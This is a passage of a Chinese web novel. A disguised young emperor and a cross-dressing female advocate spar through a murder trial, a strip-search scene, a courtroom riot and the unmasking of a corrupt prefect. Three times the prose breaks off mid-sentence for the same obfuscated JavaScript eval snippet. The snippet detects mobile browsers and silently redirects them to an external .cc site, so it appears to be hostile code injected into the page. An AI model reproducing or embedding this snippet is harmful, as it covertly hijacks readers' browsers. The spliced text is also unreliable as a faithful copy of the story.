“那就脱衣验身!” “不验!” 傅常懿气得胸膛起伏,毫不让步。 想自己堂堂皇帝,真龙天子,竟然要被这群低贱的杂役走卒给看光? 他们也配! 都怪齐欢这臭小子!瞎说什么验身! 他怒瞪着罪魁祸首,后者冷漠地注视着他,硬邦邦道:“请你配合,不然你杀人凶手的嫌疑,洗不掉。” 两个人的视线交汇,为了各自的利益,互不相让。 咫尺距离仿佛电闪雷鸣一般,气氛凝滞。 傅常懿的后糟牙磨得咯咯响,眯起眼睛,片刻后,想到了个损招。 “验身也行。” 柳齐欢见他让步,便道:“识时务者为俊杰。” 傅常懿交叉双手,抱住自己的胳膊,眼神中闪烁着挑衅的光:“那就由你亲自来验,敢不敢?” 柳齐欢皱眉:“什么?” 18. 杠上了 傅常懿与柳齐欢进了偏房验身,为了确保俩人没有耍花招,还有一名衙役跟着。 她本想拒绝。 “本公子刚才受了伤,胳膊举不起来也动不了,必须有人伺候我脱衣验身。” 傅常懿抱着手臂,睁眼说瞎话。 “那就让衙役跟你进去,我不去。” 柳齐欢面色不善,她就知道,这缺德家伙绝对没安好心。 “本公子有洁癖,不认识的人不能近身。” “我不去。” “你不负责,本公子就不验。” “你胡搅蛮缠,这里是公堂,由得你放肆?”她说完,朝向卜世仁,“此人影响审案进度,拒不配合。知府大人可下令带他强行验身。” 柳齐欢心里一阵鬼火冒,她算是看清了,这厮根本不按常理出牌。 验身证实他与命案无关,就能洗清嫌疑。查清真相,明明对任何人都是有益无害。可他却宁肯不顾自身清白,也要跟自己对着干。 可见他是个只要顺应私心,就不顾一切,任性妄为的主。 若是有朝一日,他做了官或者掌握了一定的权力,那必定是大患,甚至有可能出于私心的扭曲,而不惜拉着所有人陪葬! 柳齐欢目光审视,一眼看透傅常懿的本质。 他与她,是恰恰相反的两种品性。 柳齐欢心中冷意凛冽,好在此人目前只是个纨绔公子,倒还不至于造成太大的危害,绝不能让这种人登上高位,否则…… 傅常懿见她盯着自己的眼神,越来越冷,眉头挑了一下。 “喂,你又在想什么?每天动那么多脑子,不累吗?没听过一句话,叫聪明反被聪明误?” 柳齐欢懒得同他费口舌功夫,净是歪理。 卜世仁道:“行了,你们两个少废话!速速去偏房验身,衙役也跟着。” “大人!” 柳齐欢还欲拒绝,傅常懿和衙役却已经径直往偏房过去了。 卜世仁不耐烦地拍案:“嗄?还不快去?等本知府八抬大轿抬你呢!” 她咬了咬牙,没办法,只好气愤地跟进偏房。 关上门,屋子里只有三人。 傅常懿站定,好整以暇地平展开双臂,唇角抑制不住地翘起,像是赢了赌局般得意。 柳齐欢看向衙役,后者叉着腰道:“看什么看,老子是来监督你俩的,还指望我费力?” 傅常懿倨傲道:“臭小子,赶紧的吧!” 柳齐欢站着不动,内心踌躇。 她是女子。 以前求学念书的时候,就常常女扮男装,后来家道败落、兄长离世后,也一直扮作男子生活。 她不停地模仿着父亲与长兄往昔的言行举止,如今平常人基本辨认不出她的真实身份。 可就算再怎么伪装,她终究还是个女子。 给一个陌生男人脱衣服,还要检查对方的身体,实在…… 柳齐欢内心犹豫纠结,傅常懿等得有些不耐,胳膊也举得怪酸。 他放下双臂,微微俯下身,偏着脑袋,盯住比自己矮了许多的人。 “傻了?” “你自己不会脱?” “你以为,我跟你们这些贱民一样?本公子从出生落地起,就是锦衣玉食,安富尊荣,宫……丫鬟小厮一大堆,过着衣来伸手,饭来张口的生活,从来没自己换过衣服!” 傅常懿耍无赖,偏要治治这个臭小子的傲气,让对方低三下四地服侍自己。 柳齐欢听了,眼皮撩起,冷冷直视对方。 看样子他是打定了主意,故意折腾她。 ……过往那么多困难都挺过来了,这件事相比于在诏狱的刑罚,在贱民所的贫苦,其实根本不算什么。 刀山火海她都趟过,这个纨绔纸老虎还拿捏不了自己! 想及此处,她抬手,不轻不重地朝对方打了一巴掌。 落在脸颊与脖颈的交界处,像是打人,又像是为了推开他。 那块皮肤红了,五个手指印,不响,但也够疼。 傅常懿愣了一下,反应过来:“你!” “离我远点。抬手臂,先脱外氅。” 柳齐欢二话不说,把最外头那件生拉硬拽地扯下来。 动作之粗鲁,力道之蛮横,迫使傅常懿原地转了个圈,差点没转晕。 “你到底会不会脱!” “本状师不会,也从来没服侍过人!你要是嫌弃我不如你家的丫鬟小厮,就自己来!” 柳齐欢泄愤地把鹤氅往椅子上一丢,反唇相讥。 傅常懿没想到对方竟然来这一套,他磨了磨后槽牙,嘴角一歪。 “继续!” 两个人跟杠上了一样。 第二件是云纹圆领袍,柳齐欢抬手抓住领子,就要往下硬扯。 “喂,本公子这件衣服价钱可贵着呢!你要是敢撕坏了一点,卖了你都赔不起!” 傅常懿当然不会在乎一件衣服,只是故意吓唬对方。 柳齐欢横他一眼,捏了下衣服料子,与当年父母给自己定做的衣裳的材质相似,针法纹样却更加讲究,恐怕一件不下百金。 这家伙最是损招多,她犯不上给对方留下把柄。 柳齐欢伸手到对方的领口,一颗一颗地解扣子,手法依旧粗鲁。 傅常懿脖子上有一圈淡淡的淤血,是刚刚被木枷和草绳磨红的。 看来府衙确实要把他弄死,不是虚张声势。 如此深仇大恨,命案会不会是有人故意针对他所设计的? 亦或者,他只是无意中被卷进来? 她看了一眼,视线收回来,沉浸在思索中。 两个人的距离,很近。 近到傅常懿能看清柳齐欢的肌肤纹理,嗅到那股淡淡的血气药香。 面前人低着头,认真地解扣子,拆配饰。 秀气的眉毛蹙着,态度明显不情不愿。 纤长的睫毛若鸦羽,轻轻颤动着,眼角的泪痣若隐若现。 小巧的耳垂,肤白若脂,一颗小小的红痣,像女子的耳洞似的,平添了几分媚气。 如果是个女子就好了,可惜是个又可恶又讨人厌的臭小子…… 傅常懿的心里,没来由地突然冒出来这么个念头。 后知后觉反应过来,他忍不住露出嫌恶的表情。 拿腔拿调的臭小子! 他一把挟住对方动作的手,握紧。 “打算自己脱了?” 柳齐欢抬起头,看着他,面无表情,思路被打断了。 傅常懿刚想说话,忽然察觉手中的触感,有点奇怪。 掌心握着的手指,骨架相当纤细,手背的皮肤也较为细腻。 比负责他饮食起居的宫人,那种不算男人的太监的手,要纤细。 除了宫女嬷嬷,他鲜少接触女子,但面前人的这只手…… 很像幼时握住过的,母亲的手。 “你……” “少动手动脚!” 那种柔软的触觉抽走了,还是像刺猬似的,扎人,但是又……有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203909|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点怪怪的。 傅常懿有点心烦意乱,不太清楚自己是怎么了,不禁拉下脸。 “起开,我自己脱。” 柳齐欢早就求之不得,立刻一蹦三尺远。 要不是房间太小,她恨不得远离对方三百丈! 傅常懿见她跟躲避毒蛇似的退开,冷哼一声,侧过身,开始自己宽衣解带。 外袍,腰带,内搭,玉佩,钱袋,一样一样褪下来,放在桌上。 他解开中衣,柳齐欢尴尬地撇开视线,落到了桌面的玉佩上。 鸳鸯蝴蝶,金线穿绳,是上次那块玉佩。 对方总是随身携带,看来许是非常珍重的东西。 这种泼皮无赖,也会有珍视的人吗? 她移开目光,视野中赫然撞进来一截男性的□□。 她连忙扭过头,面皮微微泛热,指头抠着衣服下摆,尴尬更甚。 “来验身吧。” 傅常懿脱得很彻底,只剩下件明黄色的亵裤。 衙役提醒柳齐欢:“喂!检查了。” “……你检查就行。” 傅常懿见她低着头,头一次见其露出羞赧的神态,有点新鲜。 他嗤笑一声:“怎么,见到本公子这么好的身形,惭愧自己是个矮矬子?都是大老爷们,别磨磨蹭蹭的,快点!冻死了!” 衙役也催促她,偷懒不想干活。 柳齐欢深呼吸一口气,抬眼飞速从上往下打量一趟,然后垂下双目:“验完了,没问题。” 衙役也绕着看了一眼,没啥伤痕。 正准备叫对方穿上衣服,傅常懿却不乐意了。 “本公子费了一大顿功夫,辛辛苦苦脱下来,你俩这么快就检查完了?耍我玩儿呢!” “脱个衣服有什么辛苦的?快穿上,跟我们出去!” “脱衣服对你们来说是不辛苦,对本公子却是纡尊降贵,浪费了非常多的精力!” 傅常懿大步走向柳齐欢,赤裸着上半身,凑近对方。 “你,你,离我远点!” 柳齐欢转身欲避开,却被傅常懿扣住。 “你不是要验身吗?验啊!这会儿婆婆妈妈的,装什么!” 他说着,硬拖过来她的手,用力按在自己的腹部。 “有抓痕吗?有伤吗?我问你,有没有!” 傅常懿气势咄咄逼人,也不知道打那儿来的怒气。 柳齐欢的手指贴在他的腹部肌肉,微微地颤抖。 掌心下的触感是完全陌生的,温热的,起伏的,比她的体温要灼热得多。 她的指尖冰凉,触碰到傅常懿的瞬间,就像块冰,忽然贴上来,激得他腰腹的肌肉跟着收缩了一下。 一丝异样的感受,从两个人接触的地方,如一道针灸后的酥麻感,细细密密地扩散开。 傅常懿牵引着她的手,缓缓向上移动,一寸一寸。 “检查清楚了吗?” 他的目光,紧紧地盯着对方,不放过其面上一丝一毫的表情变化。 柳齐欢一贯冷静的神色,终于裂开了一点,慌乱地缩手往回撤。 她使劲挣了几下,才挣脱,骂道: “你有病啊!” 柔若无骨的温热抽离,傅常懿的手心空了,但他的唇角却随之勾起一抹意味深长的笑容。 “原来你怕这个,有点意思。” “毛病!” 柳齐欢恨恨地抄起桌子上的一堆衣服,劈头盖脸朝他扔过去。 “穿上你的衣服!出去!” 19. 唤其名 齐鸿在外面抻着脖子等了半天,终于等到偏房门开,二人走出来。 可是齐欢哥哥的脸色不好,似乎非常生气的样子。 相反的,后面那个常懿倒是一扫进去之前的包公黑脸,吊儿郎当地晃悠出来,似乎非常高兴。 他有点摸不着头脑,俩人在里面发生了什么? 但是,既然惹大哥生气,那么他也讨厌这家伙。 齐鸿站累了,扒着护栏蹲在地上,盯着傅常懿的背影,在心里翻来覆去地诅咒对方走路摔进茅坑里。 “阿嚏!” 傅常懿打了个喷嚏,不知怎么的,感到身上有些凉飕飕的。 “臭小子,看吧!都怪你慢手慢脚,害得本公子风寒了!” 柳齐欢斜他一眼,眼瞳流畅地从左下滑到右上,一副懒得搭理的表情。 卜世仁听完衙役汇报的情况,抹了抹自己的两撇八字胡,跟师爷小声地讨论。 眼下铁证如山,又当着围观百姓的面,他们讨论完了,也只好说:“现在证实了仵作的死因,也验明了他身上没有抓痕,经过本府审理……常懿暂时可以洗清嫌疑。” “我就说齐欢哥哥最厉害!” 齐鸿一下子蹦起来,举着手臂雀跃,护栏外的百姓也忍不住拍手称赞这场案情论证的精彩。 傅常懿背着手,听完知府的判定,算是如心中所料。 他眼帘垂下,望向身旁跪立的人。 目光灼灼,燃起一星微火。 柳齐欢面色无波,眸色清明,静静地在那里跪着,腰板笔直若青松。 四周的欢呼好像并没有影响到她,神色始终平静无波。 傅常懿看着她,脑海里莫名想起以前太傅教过的一句诗。 ——风雨不动安如山。 他的头痛,彻底平息下去。 傅常懿原以为洗清了嫌疑,他就可以走了。 卜世仁却道:“尽管你暂时清白了,但在没有抓到真凶之前,本府还是不能放人。” “此为何意?要是一直抓不到真凶,本公子就要一直被你扣着?” 傅常懿平复的怒气再度上翻,刚要发火,柳齐欢的声音插进来。 “我知道真凶是谁,就怕知府大人不敢亲查。” “笑话,还有本官不敢查的?” “好。既如此,那么草民就请知府大人彻查府衙中人,一个不漏。” 这话一出,人群里立马有反应快的:“状师的意思,真凶难道是衙门里的人?” 人群一派唏嘘怀疑之声。 卜世仁被戳中了心事,生怕被人发现自己暗地里做的事,虚张声势道:“放肆!你竟敢信口雌黄,凶手怎么可能会是衙门里的人!” 傅常懿也是诧异,怎么对于杀人凶手的怀疑,一下子又从他头上,转移到府衙来了? 他疑惑,但看柳齐欢的神情,倒不像是信口胡说。 况且,刚刚已经证实了她验尸断案的本领,犯不上污蔑朝廷命官。 傅常懿思忖着,未及想清楚,柳齐欢开口解释道:“我并非指真凶乃衙门中人,而是说对方此刻正混迹在府内。” 她目光环顾在场所有人。 常懿引起的那场混乱,这些衙役捕快几乎都参与了进去。 但据其冷眼观察,她在义庄听到的那两个声音,并没有出现在这群人之间。 “只需要对除在场之外的捕快衙役进行检查,谁身上有被指甲抓伤的伤痕,或者有燃烧的火油烟气的味道,就极有可能是犯案真凶!” 柳齐欢的手攥成拳,她虽嘴上言语坚定,实际上却也是在赌。 赌火烧义庄以及谋杀仵作的凶手,或许是同一个人,又或者是参与者之一。 反正只要查下来,起码能抓住其中一个,那么顺藤摸瓜下去,必定能查明真相。 “说的倒轻巧!帝京府上上下下有一二百号人,衙役八九十,捕快五十余。如此劳师动众,怕不是要查到大后天去,此法断不可行!” 卜世仁话里话外都是反对,根本指向就是一个,傅常懿不能放,真凶慢慢查。 傅常懿察觉到了对方的意图:“你身为帝京知府,正四品的官,年年领着朝廷的俸禄,却连办这么点小事都推三阻四。你安的什么心?莫不是有窝藏包庇的嫌疑!” 他左手背在腰后,右手指着卜世仁咄咄逼问,竟有几分高位者的强势压迫感。 卜世仁听到“窝藏包庇”一词,后脊背不由得冒了层冷汗,忙用惊堂木重击桌面,掩盖自己的心虚: “别以为没让你跪,就胆敢质疑本府的决断!你现在可还是个疑似嫌犯呐!” 柳齐欢还欲再说话,卜世仁急不可待道:“本官今日乏了,来人暂将傅常懿收押。择日再判,退堂!” 绿标令签抛出,没等落地,就被柳齐欢起身一把夺下来,抓在手中。 “大人,你身为百姓父母官,头顶‘明镜高悬’,可知一日不抓到真凶,就多留一日的祸患!近日帝京多少人死去,又有多少家破人亡?还请自查府衙,以正清名,为民除害!” 因为身后有百姓在看着,所以他们才能正大光明地对帝京府施压,逼对方找出那个人。 她深刻明白机会只有一次,决不能放过,因此才一而再,再而三的容忍卜世仁等人的欺辱,甘心下跪,忍受笞刑。 绝不能白费。 傅常懿在旁默默听着她的一番慷慨陈词,目光始终没有离开过。 明明人那么单薄瘦小,但身上却似乎怀有一种特别的力量,仿佛站在她身边,就会被这股难以形容的力量所感染到。 只是……手段还不够狠。 卜世仁根本听不进柳齐欢说什么,直接下堂转身离开。 她要上前去阻止对方,反被两把佩刀挡住:“再不滚出去,就把你们统统下狱。” “齐欢。” 柳齐欢愣了一下,这是头一回听到对方叫自己的名字。 她奇怪地看了傅常懿一眼,却顾不上别的,只想去追知府。 “你还是太守规矩了。” 傅常懿没头没脑地来了这么一句,就见他伸手向怀里掏出一包东西。 衙役们来绑,他这回学聪明了,当即后退数步,像个猴儿似的翻上判案桌台。 “喂!撒钱了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224067|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人不明就里地仰头看他,在柳齐欢无比震惊的眼光中,傅常懿将那包东西的收口绳子解开,掏出里面的东西。 他的手抡圆了向外一扬,数不清地闪烁着金光的物体,如天女散花似的撒下来。 “丁零当啷”地清脆声纷纷落地,犹如大珠小珠落玉盘。 他抛下的东西,是颗颗纯金打造的小金豆。米珠大小,平日里用荷包装着,随意抓一把用来赏赐人的玩意儿。 所有人在看清是什么东西后,立马蜂拥上来哄抢。 “金子啊!” “是真金啊!” “快抢!” 围观群众迫不及待地冲开护栏,急三火四地涌入,府衙大堂顿时如大汤锅里下饺子,拥挤不堪。 衙役和捕快一面也想捡金子,一面又要拦着混乱的人群,瞻前顾后,进退两难,不知道该先做哪件事。 傅常懿冷笑,又丢下来一大把金豆子,黄澄澄金灿灿的颜色刺激着所有人的眼球。 他们顾不得维持秩序了,一个个忙不迭地跪到地上,低头弯腰满地找起来。 “是我的!是我的!” 齐鸿仗着人小个矮又瘦条条的优势,在拥挤的人群里像条滑溜溜的泥鳅似,钻来钻去,趴在地上捡拾。 “父老乡亲们,我这还有呢!” 傅常懿高举着一叠大面额的银票,得意地甩了甩,顺便踹了一脚正欲把他从判案桌台上拽下来的师爷。 “你们谁要是抓到了他和知府,本公子的银票就全都给你们!” “常懿,你给我站住不准动!” 师爷一听,顺着也爬上判案桌台,边躲避着扑过来抓他的人群,边预备先拿下傅常懿。 “老东西!” 傅常懿骂了他一句,率先一步跳下来,拖住了愣在原地的柳齐欢。 “笨蛋,还傻站着,不赶紧跑!” 看样子这场案子是无法继续审下去了,柳齐欢咬了咬牙,连忙叫道:“鸿儿!” 齐鸿还趴在地上,闻声,马上回应:“知道了!” 他把捡来的金豆子往怀里一揣,扶起缩在一旁避乱的杨母,又吆喝着牛大叔帮忙,带着她快跑。 卜世仁趴着,背上不知道何时已经被压了两三个人,跟叠罗汉似的,都不准他退堂离开。 他呼哧呼哧地喘着粗气,伸长了舌头:“造反了啊!还不快拦住他们!” 不知从何处窜出来一队五大三粗地打手,领队的指挥道:“速去堵住大门!一个都不许放过!” 柳齐欢听到那领队的声音,猛然扭头紧盯住对方。 傅常懿拽着她的手腕,正一股脑儿往前跑,觉察她脚步慢下一步。 “怎么了?” 疑惑的瞬息功夫,府衙大门便被三个持刀的捕快堵住。 柳齐欢眼尖地瞅准大堂西南角有空漏,忙扯住傅常懿衣袖道:“从这边走!” 结果才踏出去,拎着棍棒的打手就团团围住他们。领队那人挥舞着棍棒,凶狠地朝她砸下。 “小心!” 柳齐欢还未来得及抵挡,傅常懿便回身抱住了她,向地面倒去。 20. 都御史 原本庄严的公堂,因为抛洒金子悬赏抓人的一系列举动,闹得鸡飞狗跳,要多混乱有多混乱。 打手的棍子铆足了劲儿砸下来,但还没等落到二人的身上,其臂膀就被凌空射来的一柄飞刀击中。 锋利的短刃刺入七分,鲜血顿时喷涌如泉。 打手惨叫一声,捂着手臂倒在地上打滚。 顺着飞刀的源头,是一名身着石黛色常服的男人,率领了一队十二人的玄衣府卫军,自府衙大门直插进来。 “将所有出入口都堵住,一个人不许放出去,全部拿下!” 来人面白无须,嗓音稍显尖细,正是御前秉笔太监孙德升。 原来昨日那小太监受傅常懿的命令,将左丞相送达府邸后,就先回去客栈等人,结果不小心睡死了过去,一觉醒来才发现皇帝彻夜未归。 他急忙折返酒楼去寻找,可除了门上官府的封条,哪里还有半个人影,他没了主意,吓得急急忙忙回宫禀告孙德升。 孙德升听说皇帝失踪,吓得丢了半条魂,顾不上惩罚小太监,当即调集了两路暗卫全城搜罗,自己则带着一队精英扮作府卫军,赶来帝京府探寻。 谁想到刚抵达府衙附近,远远就见着外面人头攒动。 等冲进来一看,恰巧就撞上打手袭击傅常懿的情景,差点惊飞了他剩下的半条魂,连忙甩出飞刀挡下。 此刻,帝京府被团团包围,围观百姓全部驱逐,而衙内的人也全数被府卫军控制住。 孙德升责人拿住袭击者,擦了把脑门上急出来的一头汗,回头看向得救的少帝,却见对方正抱着一个陌生的“少年”躺在地上。 傅常懿虽尚未弱冠,也不擅武学,但继承了武将发家的大梁皇室血脉,生得肩宽腿长,身形高大,几乎能将柳齐欢完全覆盖住。 方才棍子落下来的时候,他什么都没想,只是下意识地回过身,拦腰抱住了身后的人。 两臂环住的躯体,实在太过单薄,清瘦得仿佛只剩下一把纤细的骨头,轻飘飘的。 他的注意力都放在面前人身上,倒地的瞬间尽量偏转了自己的身体,生怕把对方这副小身板不小心给压折了,以至于没注意到揣在衣袍里的玉佩,顺势滑落了出来。 柳齐欢本就伤病缠身,一番鞭笞审案下来,全靠吊着一口气儿硬挺着,面对一个成年男子的重量突然压倒过来,根本撑不住。 受了伤的屁股率先与地面亲近接触,痛得她脸色一白,终于忍无可忍地骂道:“白痴!” “我帮了你,你骂我白痴?!” “成事不足,败事有余。让开!” 柳齐欢怕被傅常懿发现女儿身,硬是推开对方,忍着剧痛艰难地从地上爬起来。 “臭小子你……!” 傅常懿本以为自己出手相救,对方能感激自己,没想到反而挨了劈头盖脸一顿骂,现下又懵又气。 刚想驳斥,就见面前人裤子上的血迹又渗开了一块。 他这才想起柳齐欢身上还有伤,表情讪讪:“咳,我,我忘了。” 柳齐欢捂着屁股不理睬,傅常懿还想要说点什么。 这时,孙德升忽然“扑通”一声双膝跪地,朝着他两手举起,叩头大拜,张嘴就道:“陛……” “必什么必!” 傅常懿猛地打断他的话,背对着柳齐欢,朝对方挤眉弄眼地使眼色。 “孙德升,本公子都说了让你们几个必须时刻跟紧,都跑哪儿吃酒去了!现在才来!” 听到这话,孙德升有点摸不着头脑,小心翼翼地仰起头。 看清就地盘腿坐的少年帝王一副眼皮抽搐了似的的面部表情,他微微一愣,但旋即反应过来,立马抬手抽了自己两个大嘴巴子,认罪道: “公子,是小的们错了,吃多了酒竟混忘了,求您饶恕!家里正急着找您,还请快随小人家去吧!” 他这意思就是宫里有事。 傅常懿不想回宫,况且自己在这里吃了不少亏,必须把场子给找回来。 他冷漠地“嗯”了一声,伸出一只手,后者立刻躬身扶起他来,态度恭恭敬敬。 卜世仁被两个府卫军押着,两臂反扭,脑袋被抵在判案桌台面上,乌纱帽掉在了一边,这会子还在叫嚣。 “你们是什么人!老子是帝京府知府,你们怎么敢抓我!擅闯公堂该当何罪!放开我!快放开我!” 傅常懿站起身后,斜了他一眼:“吵死了。” 孙德升机灵,信手抽了支令签,让府卫军把知府的脑袋揪起来,照着对方喋喋不休的嘴巴狠抽了两记。 “不长眼的东西,闭嘴!” 卜世仁的嘴边当即多了两道交叉形状淤血,气得几乎要发狂:“你竟然打老子,本官……” 还没说完,孙德升掏出一张玄铁制令牌,在其眼前虚晃了一下。 卜世仁看清对方手里的东西,瞬间没了声音,绿豆眼瞪得前所未有的大,哆嗦着嘴唇道:“你,你,你们到底是什么人?” 傅常懿坐上府卫军搬来的太师椅,翘起二郎腿,悠闲地往后仰靠着椅背,两手随意地搭在把手上。 “知府大人不识字么?” 纵然满堂府卫军,卜世仁依然怀抱着一丝希望,希望那玄铁令牌是假的,但师爷两腿打颤的样子却令他最后一丝希望也破灭。 他神情惶惑不安,结巴道:“敢,敢问都御史大人有何指教?” 孙德升道:“哟,原来知府大人识得都御史的令牌啊,那怎么如此大胆,竟敢冒犯我家二公子?” 柳齐欢扶着疼痛的后腰,站在一侧,冷眼瞧着事态逆转。 她诧异于常懿的来头,居然有三法司之一都察院的背景。 都御史主职纠察弹劾文武百官,若论起来,卜世仁还得礼让三分,难怪刚刚嚣张的气焰一下子便偃旗息鼓。 只是,她隐约觉得怪异,都御史家怎么会养出来这等任性纨绔? 当然,最怪异的还是这个叫孙德升的人。 她悄悄目测对方形容,后背轻微佝着,像是长年累月卑躬屈膝的痕迹,嗓音有点尖,胡子也没有,看着有点像……宦官? 柳齐欢不太确定,上一次见到宦臣,还是高祖皇帝下旨追封父亲忠烈侯,司礼监莅临柳府宣旨。那时候她不过七八岁,记不太清楚。 她盯得时间久了,孙德升觉察到视线,转过头来。 他瞧着这张生面孔,并不认识,便想质问对方缘何这样眼神看自己。 还没等问话,傅常懿忽然开口:“齐欢,你在看什么?” 孙德升听到这个耳熟的名字,不禁多打量了两眼对方。 这个人,难道就是陛下让他调查的那个前探花郎?虽然样貌挺俊俏,但面目也太冷清,倒是和想象中的不太一样。 柳齐欢见他们有所察觉,便收回了视线,淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276970|165548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漠道:“没看什么。” 她摸不透这人的身份,只好暂时先将内心的疑虑压下,留了个心眼。 傅常懿状若沉思地在两人之间来回扫视,沉吟片刻,打了个响指。 孙德升立马屁颠屁颠凑上去,小声询问:“公子有何吩咐?” “你下次出来,打扮丑点。” “是……啊?” 他本以为皇帝是准备吩咐他怎么处置卜世仁和齐欢,没想到对方却说得是这个。 他摸了摸自己的脸皮,这意思难道是说,陛下欣赏自己的长相? 孙德升脑子里想起最近听闻的风言风语,有人说皇帝一直不纳后妃,不近女色,怕是有龙阳之癖。 虽然他到处探查是谁在散播谣言,毁谤陛下清誉,但眼下对方居然注意到自己的皮囊上来…… 他忐忑不安地瞅着傅常懿,欲言又止,思忖着要不要告诉对方,自己虽然是个没根儿的奴才,可也是正儿八经地心有所属,恋慕着尚食局的姑姑。 “陛下,那个,奴才和尚食局的婉姑姑是同乡,两情相悦,奴才不是……” 傅常懿的目光一直锁定在柳齐欢身上,忽听到耳边传来如此不着边际的话,一脸莫名其妙:“什么节骨眼上,你跟朕说这个?想要赐婚啊?” “呃,奴才不是这个意思……” 孙德升见自己是领会错了皇帝的意图,稍微松了口气。 可这口气还没等吐完,傅常懿下一句话,令他的心脏又提起来。 只听他道:“把这尸位素餐的狗官抓起来审案,本公子倒要亲眼看看吏部选上来的东西,到底准备判本公子什么刑罚?” 半跪着的卜知府本来在旁装死,心里后悔不迭,为了贪图点银子得罪都御史家,但已收了钱,正面是一刀,反面也是一刀,只好硬梗着脖子道:“常公子涉嫌杀人的罪名未清,就算是天子犯法,亦与庶民同罪……” 孙德升道:“大胆!尔等竟然妄议天子?” 卜世仁一听这话,猛然想起,刚抓到人时,对方曾经自称为皇帝一事。 面前的府卫军,宦官一样的领头人,还有都御史家的令牌…… 直到此刻,他才终于反应过来傅常懿的身份恐怕不止表面那么简单。 卜世仁这下真吓着了,立马双膝跪地,告饶道:“常公子,是下官有眼无珠,瞎了眼!竟没认出您的身份,您怎么可能杀人呢,都是错判了……” “知府大人意思是说,若只是寻常百姓来申诉,就能随意判处冤假错案了?” “下官不敢,请陛……” 孙德升见状,立马眼疾脚快递踹了卜世仁一下,堵住他的嘴:“少废话!” 他把对方像拖死狗似的拖到判案桌后,加重语气道:“知府大人,我们家公子可还等着你判案呢!” 知府坐在太师椅上,不停地往下滑,可在府卫军的威胁下,却又不敢下堂,坐立难安。 傅常懿见他如此废物,忍不住冷笑了一声,接着对柳齐欢道:“臭小子,继续走案情吧,让本公子也瞧瞧你的本事。” 他的表情言辞充满揶揄,但嗓音里却带着一丝连他自己都没有发现的期待。 柳齐欢知道对方十有八九是准备看自己的好戏,但这也是个机会。 她看向杨大娘和齐鸿,内心打定了主意,对傅常懿道:“常公子,我帮你查出真凶,洗刷罪名,你也得帮我一件事。” 21. 忠烈侯 孙德升派人将巡逻暗卫全数调集回来,又问都御史借了一批人手,加上自己的亲卫。 三方协助下,柳齐欢提出的彻查帝京府所有捕快衙役及其随身物品的行动,迅速展开。 傅常懿不急着回宫,等待的时间,就歪靠着椅子,翘起二郎腿,优哉游哉地吃着手下买回来的果子糕点。 “都御史那老小子这会儿倒是配合,调派这么多人来。” “是大公子出的力,前阵子陛下去参加二公子的生日宴席,大公子有事耽误了没去成,正瞅找不着机会在陛下面前表现呢!” “哼,我说呢!儿子倒是比爹上道,回头跟吏部提一嘴,看看什么地方有空缺就先塞进去。” 傅常懿丢了颗花生到嘴里,嘎嘣一下咬碎。 “对了,你再查查到底是哪个不长眼的官员把卜世仁提上来,直接革了去,九族男丁流边疆,后代不得入仕。也不必告诉左丞及六部尚书他们,省得又跟朕唠叨。” 他轻轻巧巧两句话,就决断了两个家族的前途。 孙德升心知这事情若是让朝中老臣知道了,指不定又是一场腥风血雨的劝谏,甚至波及到一些朝中势力的变动。 反正挨骂奏折都有他顶着,小皇帝也只由着性子肆意妄为罢了。 他汗涔涔地喏喏应声,不敢反驳,不然连带他的身家地位也难保。 傅常懿交代完了自己想办的事,无聊得紧,目光逡巡一圈,最后还是落在了顶梁门柱一侧的人影。 柳齐欢靠在门柱旁边,因为屁股有伤,所以一直没有坐下,而是单臂扶着护栏侧立,双目虚虚地闭着。 看起来像是在养神,但微蹙的眉头,睫毛地颤动,暴露了她的脑筋并没有休息。 刚刚她提出让常懿帮她一件事,作为交换。 对方二话不说便应承了,但却要先考量她能不能抓到真凶。 三方军在彻查帝京府,柳齐欢也没有休息,内心绷紧了一根弦。 她努力回忆着戏院酒楼到义庄到府衙期间发生的一切,在脑海里整理所有可能有用的证据。 太阳穴突突地酸胀,正集中精神思索着,她忽然感到脸颊被什么东西弹了一下。 柳齐欢睁开眼睛,就见击中脸的东西落在了地上,是颗花生米。 太师椅的方向,傅常懿坐没坐相,闲倚着椅背,冲她挑了挑眉。 “臭小子,打了半日的官司,饿不饿,要不要跟着本公子吃点?” 她眼神里划过一阵不耐:“用不着。” “呵,嘴真硬。” 傅常懿撇了撇嘴,又转向蹲在旁边的齐鸿,见他一副眼馋肚饱的小鬼样,抓了一把花生,跟逗狗似的逗他。 “啧,吃吧!” 齐鸿饿了大半天,早就饥肠辘辘,但他觑着柳齐欢的脸色,咽了咽口水,硬是一扭头:“嗟来之食,我不吃。” 